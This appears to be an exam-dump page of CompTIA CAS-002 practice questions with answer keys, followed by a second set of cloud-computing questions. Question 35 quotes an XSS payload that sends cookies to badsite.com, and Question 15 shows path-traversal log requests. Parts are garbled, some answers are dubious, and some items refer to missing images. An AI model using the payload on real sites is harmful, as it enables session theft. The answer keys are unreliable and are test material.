CompTIA CASP CAS-002 exam dumps, real and effective CAS-002 practice test

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(CASP) Advanced Security Practitioner Certification | CompTIA IT Certifications:https://certification.comptia.org/certifications/comptia-advanced-security-practitioner

About the CAS-002 exam:

The CompTIA Advanced Security Practitioner certification validates advanced-level competency in risk management; enterprise security
operations and architecture; research and collaboration; and integration of enterprise security. Successful candidates will have
the knowledge required to:

Enterprise Security domain expanded to include operations and architecture concepts, techniques, and requirements
More emphasis on analyzing risk through interpreting trend data and anticipating cyber defense needs to meet business goals
Expanding security control topics to include Mobile and small form factor devices, as well as software vulnerability
Broader coverage of integrating cloud and virtualization technologies into a secure enterprise architecture
Inclusion of implementing cryptographic techniques, such as Blockchain- Cryptocurrency and Mobile device encryption
The new CompTIA CASP CAS-003 exam is available as of April 2, 2018.

Pass4itsure offers the latest CompTIA CASP CAS-002 practice test free of charge (50Q&As)

QUESTION 1
A large enterprise acquires another company which uses antivirus from a different vendor. The CISO has requested that data feeds from the two different antivirus platforms be combined in a way that allows management to assess and rate
the overall effectiveness of antivirus across the entire organization. Which of the following tools can BEST meet the CISO’s requirement?
A. GRC
B. IPS
C. CMDB
D. Syslog-ng
E. IDS
Correct Answer: A
Explanation

QUESTION 2
Due to a new regulatory requirement, ABC Company must now encrypt all WAN transmissions. When speaking with the network administrator, the security administrator learns that the existing routers have the minimum processing power to
do the required level of encryption. Which of the following solutions minimizes the performance impact on the router?
A. Deploy inline network encryption devices
B. Install an SSL acceleration appliance
C. Require all core business applications to use encryption
D. Add an encryption module to the router and configure IPSec
Correct Answer: A
Explanation

QUESTION 3
The source workstation image for new accounting PCs has begun blue-screening. A technician notices that the date/time stamp of the image source appears to have changed. The desktop support director has asked the Information Security
department to determine if any changes were made to the source image. Which of the following methods would BEST help with this process? (Select TWO).
A. Retrieve source system image from backup and run file comparison analysis on the two images.
B. Parse all images to determine if extra data is hidden using steganography.
C. Calculate a new hash and compare it with the previously captured image hash.
D. Ask desktop support if any changes to the images were made.
E. Check key system files to see if date/time stamp is in the past six months.
Correct Answer: AC
Explanation

QUESTION 4
The risk manager is reviewing a report which identifies a requirement to keep a business critical legacy system operational for the next two years. The legacy system is out of support because the vendor and security patches are no longer
released. Additionally, this is a proprietary embedded system and little is documented and known about it. Which of the following should the Information Technology department implement to reduce the security risk from a compromise of this
system?
A. Virtualize the system and migrate it to a cloud provider.
B. Segment the device on its own secure network.
C. Install an antivirus and HIDS on the system.
D. Hire developers to reduce vulnerabilities in the code.
Correct Answer: B
Explanation

QUESTION 5
An organization has decided to reduce labor costs by outsourcing back office processing of credit applications to a provider located in another country. Data sovereignty and privacy concerns raised by the security team resulted in the third-
party provider only accessing and processing the data via remote desktop sessions. To facilitate communications and improve productivity, staff at the third party has been provided with corporate email accounts that are only accessible via
the remote desktop sessions. Email forwarding is blocked and staff at the third party can only communicate with staff within the organization. Which of the following additional controls should be implemented to prevent data loss? (Select
THREE).
A. Implement hashing of data in transit
B. Session recording and capture
C. Disable cross session cut and paste
D. Monitor approved credit accounts
E. User access audit reviews
F. Source IP whitelisting
Correct Answer: CEF
Explanation

QUESTION 6
The technology steering committee is struggling with increased requirements stemming from an increase in telecommuting. The organization has not addressed telecommuting in the past. The implementation of a new SSL-VPN and a VOIP
phone solution enables personnel to work from remote locations with corporate assets. Which of the following steps must the committee take FIRST to outline senior management’s directives?
A. Develop an information classification scheme that will properly secure data on corporate systems.
B. Implement database views and constrained interfaces so remote users will be unable to access PII from personal equipment.
C. Publish a policy that addresses the security requirements for working remotely with company equipment.
D. Work with mid-level managers to identify and document the proper procedures for telecommuting.
Correct Answer: C
Explanation

QUESTION 7
A security engineer is responsible for monitoring company applications for known vulnerabilities. Which of the following is a way to stay current on exploits and information security news?
A. Update company policies and procedures
B. Subscribe to security mailing lists
C. Implement security awareness training
D. Ensure that the organization vulnerability management plan is up-to-date
Correct Answer: B
Explanation

QUESTION 8
A security manager for a service provider has approved two vendors for connections to the service provider backbone. One vendor will be providing authentication services for its payment card service, and the other vendor will be providing
maintenance to the service provider infrastructure sites. Which of the following business agreements is MOST relevant to the vendors and service provider’s relationship?
A. Memorandum of Agreement
B. Interconnection Security Agreement
C. Non-Disclosure Agreement
D. Operating Level Agreement
Correct Answer: B
Explanation

QUESTION 9
A security officer is leading a lessons learned meeting. Which of the following should be components of that meeting? (Select TWO).
A. Demonstration of IPS system
B. Review vendor selection process
C. Calculate the ALE for the event
D. Discussion of event timeline
E. Assigning of follow up items
Correct Answer: DE
Explanation

QUESTION 10
The senior security administrator wants to redesign the company DMZ to minimize the risks associated with both external and internal threats. The DMZ design must support security in depth, change management and configurationprocesses, and support incident reconstruction. Which of the following designs BEST supports the given requirements?
A. A dual firewall DMZ with remote logging where each firewall is managed by a separate administrator.
B. A single firewall DMZ where each firewall interface is managed by a separate administrator and logging to the cloud.
C. A SaaS based firewall which logs to the company’s local storage via SSL, and is managed by the change control team.
D. A virtualized firewall, where each virtual instance is managed by a separate administrator and logging to the same hardware.
Correct Answer: A
Explanation

QUESTION 11
Which of the following provides the BEST risk calculation methodology?
A. Annual Loss Expectancy (ALE) x Value of Asset
B. Potential Loss x Event Probability x Control Failure Probability
C. Impact x Threat x Vulnerability
D. Risk Likelihood x Annual Loss Expectancy (ALE)
Correct Answer: B
Explanation

QUESTION 12
Ann, a systems engineer, is working to identify an unknown node on the corporate network. To begin her investigative work, she runs the following nmap command string:
[email protected]:~$ sudo nmap -O 192.168.1.54
Based on the output, nmap is unable to identify the OS running on the node, but the following ports are open on the device:
TCP/22
TCP/111
TCP/512-514
TCP/2049
TCP/32778
Based on this information, which of the following operating systems is MOST likely running on the unknown node?
A. Linux
B. Windows
C. Solaris
D. OSX
Correct Answer: C
Explanation
Explanation/Reference:

QUESTION 13
A government agency considers confidentiality to be of utmost importance and availability issues to be of least importance. Knowing this, which of the following correctly orders various vulnerabilities in the order of MOST important to LEAST
important?
A. Insecure direct object references, CSRF, Smurf
B. Privilege escalation, Application DoS, Buffer overflow
C. SQL injection, Resource exhaustion, Privilege escalation
D. CSRF, Fault injection, Memory leaks
Correct Answer: A
Explanation

QUESTION 14
A company sales manager received a memo from the company’s financial department which stated that the company would not be putting its software products through the same security testing as previous years to reduce the research and
development cost by 20 percent for the upcoming year. The memo also stated that the marketing material and service level agreement for each product would remain unchanged. The sales manager has reviewed the sales goals for the
upcoming year and identified an increased target across the software products that will be affected by the financial department’s change. All software products will continue to go through new development in the coming year. Which of the
following should the sales manager do to ensure the company stays out of trouble?
A. Discuss the issue with the software product’s user groups
B. Consult the company’s legal department on practices and law
C. Contact senior finance management and provide background information
D. Seek industry outreach for software practices and law
Correct Answer: B
Explanation

QUESTION 15
The security administrator finds unauthorized tables and records, which were not present before, on a Linux database server. The database server communicates only with one web server, which connects to the database server via an
account with SELECT only privileges.
Web server logs show the following:
90.76.165.40 — [08/Mar/2014:10:54:04] “GET calendar.php?create%20table%20hidden HTTP/1.1” 200 5724
90.76.165.40 — [08/Mar/2014:10:54:05] “GET ../../../root/.bash_history HTTP/1.1” 200 90.76.165.40 ?- [08/Mar/2014:10:54:04] “GET index.php?user<;scrip>;Creat<;/scrip>; HTTP/1.1” 200 5724
The security administrator also inspects the following file system locations on the database server using the command `ls -al /root’
drwxrwxrwx 11 root root 4096 Sep 28 22:45 .
drwxr-xr-x 25 root root 4096 Mar 8 09:30 ..
-rws—— 25 root root 4096 Mar 8 09:30 .bash_history
-rw——- 25 root root 4096 Mar 8 09:30 .bash_history
-rw——- 25 root root 4096 Mar 8 09:30 .profile
-rw——- 25 root root 4096 Mar 8 09:30 .ssh
Which of the following attacks was used to compromise the database server and what can the security administrator implement to detect such attacks in the future? (Select TWO).
A. Privilege escalation
B. Brute force attack
C. SQL injection
D. Cross-site scripting
E. Using input validation, ensure the following characters are sanitized: <>
F. Update crontab with: find / \( -perm -4000 \) –type f –print0 | xargs -0 ls –l | email.sh
G. Implement the following PHP directive: $clean_user_input = addslashes($user_input)
H. Set an account lockout policy
Correct Answer: AF
Explanation
Explanation/Reference:

QUESTION 16
A member of the software development team has requested advice from the security team to implement a new secure lab for testing malware. Which of the following is the NEXT step that the security team should take?
A. Purchase new hardware to keep the malware isolated.
B. Develop a policy to outline what will be required in the secure lab.
C. Construct a series of VMs to host the malware environment.
D. Create a proposal and present it to management for approval.
Correct Answer: D
Explanation

QUESTION 17
Company XYZ provides cable television service to several regional areas. They are currently installing fiber-to-the-home in many areas with hopes of also providing telephone and Internet services. The telephone and Internet services
portions of the company will each be separate subsidiaries of the parent company. The board of directors wishes to keep the subsidiaries separate from the parent company. However all three companies must share customer data for the
purposes of accounting, billing, and customer authentication. The solution must use open standards, and be simple and seamless for customers, while only sharing minimal data between the companies. Which of the following solutions is
BEST suited for this scenario?
A. The companies should federate, with the parent becoming the SP, and the subsidiaries becoming an IdP.
B. The companies should federate, with the parent becoming the IdP, and the subsidiaries becoming an SSP.
C. The companies should federate, with the parent becoming the IdP, and the subsidiaries becoming an SP.
D. The companies should federate, with the parent becoming the ASP, and the subsidiaries becoming an IdP.
Correct Answer: C
Explanation

QUESTION 18
The Chief Information Security Officer (CISO) at a company knows that many users store business documents on public cloud-based storage, and realizes this is a risk to the company. In response, the CISO implements a mandatory training
course in which all employees are instructed on the proper use of cloud-based storage. Which of the following risk strategies did the CISO implement?
A. Avoid
B. Accept
C. Mitigate
D. Transfer
Correct Answer: C
Explanation

QUESTION 19
A completely new class of web-based vulnerabilities has been discovered. Claims have been made that all common web-based development frameworks are susceptible to attack. Proof-of-concept details have emerged on the Internet. A
security advisor within a company has been asked to provide recommendations on how to respond quickly to these vulnerabilities. Which of the following BEST describes how the security advisor should respond?
A. Assess the reliability of the information source, likelihood of exploitability, and impact to hosted data. Attempt to exploit via the proof-of-concept code. Consider remediation options.
B. Hire an independent security consulting agency to perform a penetration test of the web servers. Advise management of any `high’ or `critical’ penetration test findings and put forward recommendations for mitigation.
C. Review vulnerability write-ups posted on the Internet. Respond to management with a recommendation to wait until the news has been independently verified by software vendors providing the web application software.
D. Notify all customers about the threat to their hosted data. Bring the web servers down into “maintenance mode” until the vulnerability can be reliably mitigated through a vendor patch.
Correct Answer: A
Explanation

QUESTION 20
A software project manager has been provided with a requirement from the customer to place limits on the types of transactions a given user can initiate without external interaction from another user with elevated privileges. This requirement
is BEST described as an implementation of:
A. an administrative control
B. dual control
C. separation of duties
D. least privilege
E. collusion
Correct Answer: C
Explanation

QUESTION 21
The Chief Information Security Officer (CISO) is asking for ways to protect against zero-day exploits. The CISO is concerned that an unrecognized threat could compromise corporate data and result in regulatory fines as well as poor
corporate publicity. The network is mostly flat, with split staff/guest wireless functionality. Which of the following equipment MUST be deployed to guard against unknown threats?
A. Cloud-based antivirus solution, running as local admin, with push technology for definition updates.
B. Implementation of an offsite data center hosting all company data, as well as deployment of VDI for all client computing needs.
C. Host based heuristic IPS, segregated on a management VLAN, with direct control of the perimeter firewall ACLs.
D. Behavior based IPS with a communication link to a cloud based vulnerability and threat feed.
Correct Answer: D
Explanation

QUESTION 22
An organization is concerned with potential data loss in the event of a disaster, and created a backup datacenter as a mitigation strategy. The current storage method is a single NAS used by all servers in both datacenters. Which of the
following options increases data availability in the event of a datacenter failure?
A. Replicate NAS changes to the tape backups at the other datacenter.
B. Ensure each server has two HBAs connected through two routes to the NAS.
C. Establish deduplication across diverse storage paths.
D. Establish a SAN that replicates between datacenters.
Correct Answer: D
Explanation

QUESTION 23
A security administrator wants to prevent sensitive data residing on corporate laptops and desktops from leaking outside of the corporate network. The company has already implemented full-disk encryption and has disabled all peripheral
devices on its desktops and laptops. Which of the following additional controls MUST be implemented to minimize the risk of data leakage? (Select TWO).
A. A full-system backup should be implemented to a third-party provider with strong encryption for data in transit.
B. A DLP gateway should be installed at the company border.
C. Strong authentication should be implemented via external biometric devices.
D. Full-tunnel VPN should be required for all network communication.
E. Full-drive file hashing should be implemented with hashes stored on separate storage.
F. Split-tunnel VPN should be enforced when transferring sensitive data.
Correct Answer: BD
Explanation

QUESTION 24
An organization would like to allow employees to use their network username and password to access a third-party service. The company is using Active Directory Federated Services for their directory service. Which of the following should
the company ensure is supported by the third-party? (Select TWO).
A. LDAP/S
B. SAML
C. NTLM
D. OAUTH
E. Kerberos
Correct Answer: BE
Explanation

QUESTION 25
A mature organization with legacy information systems has incorporated numerous new processes and dependencies to manage security as its networks and infrastructure are modernized. The Chief Information Office has become
increasingly frustrated with frequent releases, stating that the organization needs everything to work completely, and the vendor should already have those desires built into the software product. The vendor has been in constant
communication with personnel and groups within the organization to understand its business process and capture new software requirements from users. Which of the following methods of software development is this organization’s
configuration management process using?
A. Agile
B. SDL
C. Waterfall
D. Joint application development
Correct Answer: A
Explanation

QUESTION 26
Joe, a hacker, has discovered he can specifically craft a webpage that when viewed in a browser crashes the browser and then allows him to gain remote code execution in the context of the victim’s privilege level. The browser crashes due
to an exception error when a heap memory that is unused is accessed. Which of the following BEST describes the application issue?
A. Integer overflow
B. Click-jacking
C. Race condition
D. SQL injection
E. Use after free
F. Input validation
Correct Answer: E
Explanation

QUESTION 27
A forensic analyst works for an e-discovery firm where several gigabytes of data are processed daily. While the business is lucrative, they do not have the resources or the scalability to adequately serve their clients. Since it is an e-discovery
firm where chain of custody is important, which of the following scenarios should they consider?
A. Offload some data processing to a public cloud
B. Aligning their client intake with the resources available
C. Using a community cloud with adequate controls
D. Outsourcing the service to a third party cloud provider
Correct Answer: C
Explanation

QUESTION 28
select id, firstname, lastname from authors
User input= firstname= Hack;man
lastname=Johnson
Which of the following types of attacks is the user attempting?
A. XML injection
B. Command injection
C. Cross-site scripting
D. SQL injection
Correct Answer: D
Explanation

QUESTION 29
A network administrator with a company’s NSP has received a CERT alert for targeted adversarial behavior at the company. In addition to the company’s physical security, which of the following can the network administrator use to detect the
presence of a malicious actor physically accessing the company’s network or information systems from within? (Select TWO).
A. RAS
B. Vulnerability scanner
C. HTTP intercept
D. HIDS
E. Port scanner
F. Protocol analyzer
Correct Answer: DF
Explanation

QUESTION 30
A software development manager is taking over an existing software development project. The team currently suffers from poor communication due to a long delay between requirements documentation and feature delivery. This gap is
resulting in an above average number of security-related bugs making it into production. Which of the following development methodologies is the team MOST likely using now?
A. Agile
B. Waterfall
C. Scrum
D. Spiral
Correct Answer: B
Explanation

QUESTION 31
Which of the following BEST constitutes the basis for protecting VMs from attacks from other VMs hosted on the same physical platform?
A. Aggressive patch management on the host and guest OSs.
B. Host based IDS sensors on all guest OSs.
C. Different antivirus solutions between the host and guest OSs.
D. Unique Network Interface Card (NIC) assignment per guest OS.
Correct Answer: A
Explanation

QUESTION 32
The Chief Executive Officer (CEO) of a company that allows telecommuting has challenged the Chief Security Officer’s (CSO) request to harden the corporate network’s perimeter. The CEO argues that the company cannot protect its
employees at home, so the risk at work is no different. Which of the following BEST explains why this company should proceed with protecting its corporate network boundary?
A. The corporate network is the only network that is audited by regulators and customers.
B. The aggregation of employees on a corporate network makes it a more valuable target for attackers.
C. Home networks are unknown to attackers and less likely to be targeted directly.
D. Employees are more likely to be using personal computers for general web browsing when they are at home.
Correct Answer: B
Explanation

QUESTION 33
An organization is selecting a SaaS provider to replace its legacy, in house Customer Resource Management (CRM) application. Which of the following ensures the organization mitigates the risk of managing separate user credentials?
A. Ensure the SaaS provider supports dual factor authentication.
B. Ensure the SaaS provider supports encrypted password transmission and storage.
C. Ensure the SaaS provider supports secure hash file exchange.
D. Ensure the SaaS provider supports role-based access control.
E. Ensure the SaaS provider supports directory services federation.
Correct Answer: E
Explanation

QUESTION 34
A security manager has received the following email from the Chief Financial Officer (CFO):
“While I am concerned about the security of the proprietary financial data in our ERP application, we have had a lot of turnover in the accounting group and I am having a difficult time meeting our monthly performance targets. As things
currently stand, we do not allow employees to work from home but this is something I am willing to allow so we can get back on track. What should we do first to securely enable this capability for my group?”
Based on the information provided, which of the following would be the MOST appropriate response to the CFO?
A. Remote access to the ERP tool introduces additional security vulnerabilities and should not be allowed.
B. Allow VNC access to corporate desktops from personal computers for the users working from home.
C. Allow terminal services access from personal computers after the CFO provides a list of the users working from home.
D. Work with the executive management team to revise policies before allowing any remote access.
Correct Answer: D
Explanation

QUESTION 35
A security administrator notices the following line in a server’s security log:
<input name=’credentials’ type=’TEXT’ value='” + request.getParameter(‘><script>document.location=’http://badsite.com/?q=’document.cooki e</script>’) + “‘;
The administrator is concerned that it will take the developer a lot of time to fix the application that is running on the server.
Which of the following should the security administrator implement to prevent this particular attack?
A. WAF
B. Input validation
C. SIEM
D. Sandboxing
E. DAM
Correct Answer: A
Explanation
Explanation/Reference:

QUESTION 36
An insurance company is looking to purchase a smaller company in another country. Which of the following tasks would the security administrator perform as part of the security due diligence?
A. Review switch and router configurations
B. Review the security policies and standards
C. Perform a network penetration test
D. Review the firewall rule set and IPS logs
Correct Answer: B
Explanation

QUESTION 37
An intruder was recently discovered inside the data center, a highly sensitive area. To gain access, the intruder circumvented numerous layers of physical and electronic security measures. Company leadership has asked for a thorough
review of physical security controls to prevent this from happening again. Which of the following departments are the MOST heavily invested in rectifying the problem? (Select THREE).
A. Facilities management
B. Human resources
C. Research and development
D. Programming
E. Data center operations
F. Marketing
G. Information technology
Correct Answer: AEG
Explanation

QUESTION 38
A company is in the process of outsourcing its customer relationship management system to a cloud provider. It will host the entire organization’s customer database. The database will be accessed by both the company’s users and its
customers. The procurement department has asked what security activities must be performed for the deal to proceed. Which of the following are the MOST appropriate security activities to be performed as part of due diligence? (Select
TWO).
A. Physical penetration test of the datacenter to ensure there are appropriate controls.
B. Penetration testing of the solution to ensure that the customer data is well protected.
C. Security clauses are implemented into the contract such as the right to audit.
D. Review of the organizations security policies, procedures and relevant hosting certifications.
E. Code review of the solution to ensure that there are no back doors located in the software.
Correct Answer: CD
Explanation

QUESTION 39
Which of the following activities is commonly deemed “OUT OF SCOPE” when undertaking a penetration test?
A. Attempting to perform blind SQL injection and reflected cross-site scripting attacks
B. Undertaking network-based denial of service attacks in production environment
C. Test password complexity of all login fields and input validation of form fields
D. Reverse engineering any thick client software that has been provided for the test
Correct Answer: B
Explanation
Explanation/Reference:

QUESTION 40
A new web based application has been developed and deployed in production. A security engineer decides to use an HTTP interceptor for testing the application. Which of the following problems would MOST likely be uncovered by this tool?
A. The tool could show that input validation was only enabled on the client side
B. The tool could enumerate backend SQL database table and column names
C. The tool could force HTTP methods such as DELETE that the server has denied
D. The tool could fuzz the application to determine where memory leaks occur
Correct Answer: A
Explanation

QUESTION 41
During a recent audit of servers, a company discovered that a network administrator, who required remote access, had deployed an unauthorized remote access application that communicated over common ports already allowed through the
firewall. A network scan showed that this remote access application had already been installed on one third of the servers in the company. Which of the following is the MOST appropriate action that the company should take to provide a more
appropriate solution?
A. Implement an IPS to block the application on the network
B. Implement the remote application out to the rest of the servers
C. Implement SSL VPN with SAML standards for federation
D. Implement an ACL on the firewall with NAT for remote access
Correct Answer: C
Explanation

QUESTION 42
Which of the following is the BEST place to contractually document security priorities, responsibilities, guarantees, and warranties when dealing with outsourcing providers?
A. SLA
B. MOU
C. OLA
D. NDA
Correct Answer: A
Explanation
Explanation/Reference:

QUESTION 43
Using SSL, an administrator wishes to secure public facing server farms in three subdomains: dc1.east.company.com, dc2.central.company.com, and dc3.west.company.com. Which of the following is the number of wildcard SSL certificates
that should be purchased?
A. 1
B. 2
C. 3
D. 6Correct Answer: C
Explanation
Explanation/Reference:

QUESTION 44
The helpdesk department desires to roll out a remote support application for internal use on all company computers. This tool should allow remote desktop sharing, system log gathering, chat, hardware logging, inventory management, and
remote registry access. The risk management team has been asked to review vendor responses to the RFQ. Which of the following questions is the MOST important?
A. What are the protections against MITM?
B. What accountability is built into the remote support application?
C. What encryption standards are used in tracking database?
D. What snapshot or “undo” features are present in the application?
E. What encryption standards are used in remote desktop and file transfer functionality?
Correct Answer: B
Explanation

QUESTION 45
The Chief Executive Officer (CEO) has asked the IT administrator to protect the externally facing web server from SQL injection attacks and ensure the backend database server is monitored for unusual behavior while enforcing rules to
terminate unusual behavior. Which of the following would BEST meet the CEO’s requirements?
A. WAF and DAM
B. UTM and NIDS
C. DAM and SIEM
D. UTM and HSM
E. WAF and SIEM
Correct Answer: A
Explanation

QUESTION 46
A security officer is leading a lessons learned meeting. Which of the following should be components of that meeting? (Select TWO).
A. Demonstration of IPS system
B. Review vendor selection process
C. Calculate the ALE for the event
D. Discussion of event timeline
E. Assigning of follow up items
Correct Answer: DE
Explanation

QUESTION 47
The helpdesk manager wants to find a solution that will enable the helpdesk staff to better serve company employees who call with computer-related problems. The helpdesk staff is currently unable to perform effective troubleshooting and
relies on callers to describe their technology problems. Given that the helpdesk staff is located within the company headquarters and 90% of the callers are telecommuters, which of the following tools should the helpdesk manager use to
make the staff more effective at troubleshooting while at the same time reducing company costs? (Select TWO).
A. Web cameras
B. Email
C. Instant messaging
D. BYOD
E. Desktop sharing
F. Presence
Correct Answer: CE
Explanation

QUESTION 48
A company has decided to move to an agile software development methodology. The company gives all of its developers security training. After a year of agile, a management review finds that the number of items on a vulnerability scan has
actually increased since the methodology change. Which of the following best practices has MOST likely been overlooked in the agile implementation?
A. Penetration tests should be performed after each sprint.
B. A security engineer should be paired with a developer during each cycle.
C. The security requirements should be introduced during the implementation phase.
D. The security requirements definition phase should be added to each sprint.
Correct Answer: D
Explanation

QUESTION 49
CORRECT TEXT
pass4itsure CAS-002 question
Correct Answer: 192.18.1.0/24 any 192.168.20.0/24 3389 any
Explanation
Explanation/Reference:

QUESTION 50
CORRECT TEXT
An administrator wants to install a patch to an application. Given the scenario, download, verify and install the patch in the most secure manner. Instructions The last install that is completed will be the final submission
pass4itsure CAS-002 question
Correct Answer: You need to check the hash value of download software with md5 utility.
Explanation
Explanation/Reference

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QUESTION 1
Which of the following describes the difference between SaaS and IaaS?
A. SaaS defines a standard while IaaS implements the standard.
B. SaaS enables the software developer while IaaSprovides the specifications.
C. SaaS provides applications while IaaS provides equipment.
D. SaaS implements security while IaaS provides information.
Correct Answer: C

QUESTION 2
Which of the following aspects of public cloud computing would a company MOST likely need to consider
to ensure information security?
A. Data integrity
B. Server type
C. Firewall specifications
D. Network hardware
Correct Answer: A

QUESTION 3
Which of the following is BEST used when setting up security for services being used within a public
cloud?
A. LDAP
B. SFTP
C. SNMP
D. SSL
Correct Answer: D

QUESTION 4
A company Chief Information Officer (CIO) who wants to ensure rapid elasticity for the company’s cloud
solution would MOST likely choose which of the following types of cloud?
A. Public cloud
B. Private community cloud
C. Private cloud
D. Community cloud
Correct Answer: A

QUESTION 5
Which of the following is the function of orchestration services?
A. Assemble functional requirements for application development
B. Configure application clusters with Web services
C. Enable and disable load balancers
D. Manage the starting and stopping of application server clusters
Correct Answer: D

QUESTION 6
Which of the following is true when mitigating risks in a cloud environment while avoiding impact to
performance?A. When securing cloud resources, only the most sensitive data should be secured.
B. When securing cloud resources, it is always a best practice to encrypt all data stored in the cloud.
C. When securing cloud resources, data security is not an issue.
D. When securing cloud resources, it is always a best practice to use the strongest security on the most
sensitive data.
Correct Answer: A

QUESTION 7
As part of a critical SaaS application, one of the contractual statements by the cloud provider is a
requirement to perform scheduled maintenance. This has a direct impact on which of the following?
A. Service strategy
B. Service transition
C. Service operation
D. Service design
Correct Answer: C

QUESTION 8
Which of the following is a benefit of cloud computing?
A. Cloud computing delivers IT capabilities that scale with demand.
B. Cloud computing delivers a wide range of services that are easily accessible to users
C. Cloud computing delivers IT capacity on demand.
D. Cloud computing negates the need for a procurement department.
Correct Answer: A

QUESTION 9
How can an organization successfully implement a PaaS strategy?
A. Open up internal databases with Web service access.
B. Take inventory of the application portfolio and select external suppliers
C. Standardize on a limited set of virtual machines.
D. Continuously execute performance analytics to monitor providers
Correct Answer: A

QUESTION 10
A company’s IT department currently spends several hours a day maintaining the hardware of the
database server. The company migrates the server to the cloud. Which of the following job responsibilities
of the IT department has been MOST impacted by this change?
A. Service Strategy
B. Service Operation
C. Service Design
D. Service Transition
Correct Answer: B

QUESTION 11
Which of the following roles can the IT department play in the selection process of cloud computing
providers?
A. Help understand and explain the application lifecycle
B. Help understand performance parametersC. Help understand provider quality
D. All of the above are correct
Correct Answer: D

QUESTION 12
Why does cloud computing shift capital cost to variable cost?
A. Cloud computing is more cost-efficient
B. IT assets are not owned by the customer
C. Servers are better utilized
D. Staff is no longer hired by the customer
Correct Answer: B

QUESTION 13
A private cloud is defined as:
A. a deployment model that uses an external cloud provider to provide host application servicesthat are
Internet accessible.
B. a deployment model that partners with other industry related companies to provide infrastructure
services.
C. a deployment model that uses virtualization technologies to provide infrastructure on demand within its
network.
D. a deployment model that uses an external cloud provider to provide host infrastructure services that
are Internet accessible.
Correct Answer: C

QUESTION 14
Which of the following is important to standardize?
A. Information standards and applications
B. User names and hardware providers
C. Virtual machine images and applications
D. Virtual machine images and identity information standards
Correct Answer: D

QUESTION 15
Which of the following are essential steps to take when creating a virtual server?
A. Select a machine image to run, select an application set to run, select security credentials.
B. Select a machine image to run, select an application set to run, select the size of the virtual machine.
C. Select a machine image to run, select security credentials, select the size of the virtual machine.
D. Select an application set to run, select security credentials, select the size of the virtual machine.
Correct Answer: C

QUESTION 16
A specific cloud deployment has been established specifically for financial services companies to
consume. Which of the following BEST describes this type of cloud environment?
A. Private cloud
B. Community cloud
C. Hybrid cloud
D. Public cloud
Correct Answer: B

QUESTION 17
An organization is in the process of selecting a SaaS provider to replace its current internal customer
relationship management system. The business expects better functionality than what is provided with the
internal system. Which of the following is the BEST reason for moving to a SaaS cloud service?
A. Understand who the most experienced IaaS cloud providers are so that a recommendation can be
made to the business based on what other industry vendors are doing.
B. Understand the current SLA’s of the cloud providers to ensure that they can exceed the current
expected business SLA’s.
C. Understand current functional and non-functional requirements of the system in order to ensure the
new system can meet and provide value add to current business needs.
D. Understand the cost model of the hosted infrastructure and whether the current system can be hosted
on cloud provided infrastructure.
Correct Answer: C

QUESTION 18
In which of the following ways do IT outsourcing and cloud computing differ?
A. Cloud computing services are typically much more scalable.
B. Cloud computing is much cheaper.
C. Hardware and software assets are typically customizable.
D. IT outsourcing promotes innovation.
Correct Answer: A

QUESTION 19
Since the implementation of a cloud infrastructure, a senior level network administrator’s job description
has changed from being responsible for maintaining the hardware of the network infrastructure to more of
a management position, ensuring the cloud vendor is providing the services specified in the contract with
the company. Which of the following has been impacted the MOST by the change in job responsibility?
A. Service Transition
B. Service Design
C. Service Operation
D. Service Strategy
Correct Answer: B

QUESTION 20
Which of the following risks occurs when a cloud provider stops serving the company?
A. Continuity risk
B. Financial risk
C. Legal risk
D. Confidentiality risk
Correct Answer: A

QUESTION 21
When using SaaS, the cloud computing vendor is responsible to maintain which of the following?
A. Client infrastructure
B. Client firewall
C. Updates and licenses
D. Workstation OS version
Correct Answer: C

QUESTION 22
An organization is planning to host a number of its critical applications in the cloud. Which of the following
is the BEST way to gain a broad assurance of the cloud provider’s security posture?
A. A review that includes interviewing key security stakeholders and identifying the key controls that they
operate
B. A review that includes security policies, evidence of the controls, physical site assessment and
vulnerability scanning
C. A review that includes the right to audit on a yearly basis and review of the security clauses on the
contract
D. A review that includes security applications, external audits, intrusion detection and firewall policy
reviews
Correct Answer: D

QUESTION 23
Cloud computing relies heavily on which of the following virtualization characteristics? (Select two.)
A. User federation
B. Hardware independence
C. Simplistic setup
D. Scalable resources
E. Information sharing
Correct Answer: BD

QUESTION 24
In order to maintain strategic flexibility and the ability to bring a cloud system back internally, which of the
following is the MOST important requirement in the contract?
A. Yearly independent audit is performed to measure performance
B. Cloud provider has ability to terminate contract
C. One week timeframe for termination of service
D. Cloud subscriber maintains ownership of their data
Correct Answer: D

QUESTION 25
Which of the following actions should a company take if a cloud computing provider ceases to uphold their
contract?
A. Consult the company’s exit plan.
B. Move the company data to the backup provider that was selected earlier.
C. Re-host all critical applications on the company’s internal servers.
D. Evaluate the company’s strategic options for an alternative provider
Correct Answer: A

QUESTION 26
Which of the following is the BEST example of a cloud vendor’s monthly hosting fee changing based on
cost allocations?
A. The company’s fee varies based on the projected quarterly revenue of the client’s company.
B. The company’s fee varies based on the number of their IT staff required to support the infrastructure.
C. The company’s fee varies based on the number of servers needed to house data in the datacenter.D. The company’s fee varies based on the energy consumption of each server in the datacenter.
Correct Answer: C

QUESTION 27
Which of the following cloud computing risks is compliance related?
A. Access rights that are handled by a cloud provider
B. Capacity management that is handled by a cloud provider
C. Cross-charging policies that are handled by both clients
D. Provider reputation
Correct Answer: A

QUESTION 28
A company is implementing a system replacement which has application components that are internally
hosted and multiple application components that are hosted as software as a service by different cloud
providers. Which of the following represents the challenge of this architecture?
A. Complexity
B. Time to market
C. Cost saving
D. Elasticity
Correct Answer: A

QUESTION 29
Which of the following is an important factor for maintaining strategic flexibility?
A. Return on investment
B. Integrity
C. Elasticity
D. Vendor lock-in
Correct Answer: D

QUESTION 30
Which of the following should be measured with a direct cost chargeback method?
A. Power and cooling consumed
B. CPU cycles used
C. Technical staff
D. Square footage cost of the facility
Correct Answer: C

QUESTION 31
Which of the following is the MOST complex security provisioning problem in a cloud environment?
A. Handling credit cards for purchasing cloud services
B. Keeping track of cloud provider performance
C. Managing users and their rights across multiple providers
D. Software assets that are introduced and can expire
Correct Answer: C

QUESTION 32
A business has recently implemented a hybrid cloud federated solution, which will allow if to rapidly anddynamically allocate resources during high demand, and quickly implement its Disaster Recovery Plan
(DRP) and Continuity of Operations (COOP). Given this implementation, the IT director is MOST likely
concerned about:
A. maintaining strategic flexibility.
B. reducing OPEX allocations.
C. hiring additional IT staff.
D. eliminating security risks
Correct Answer: D

QUESTION 33
A cloud subscriber may come under certain security constraints when hosting sensitive data in the cloud
due to government regulations. Which of the following is the BEST mitigating control that could be
implemented by the cloud provider?
A. Offer multi-tenancy software as a service with segregated physical infrastructure.
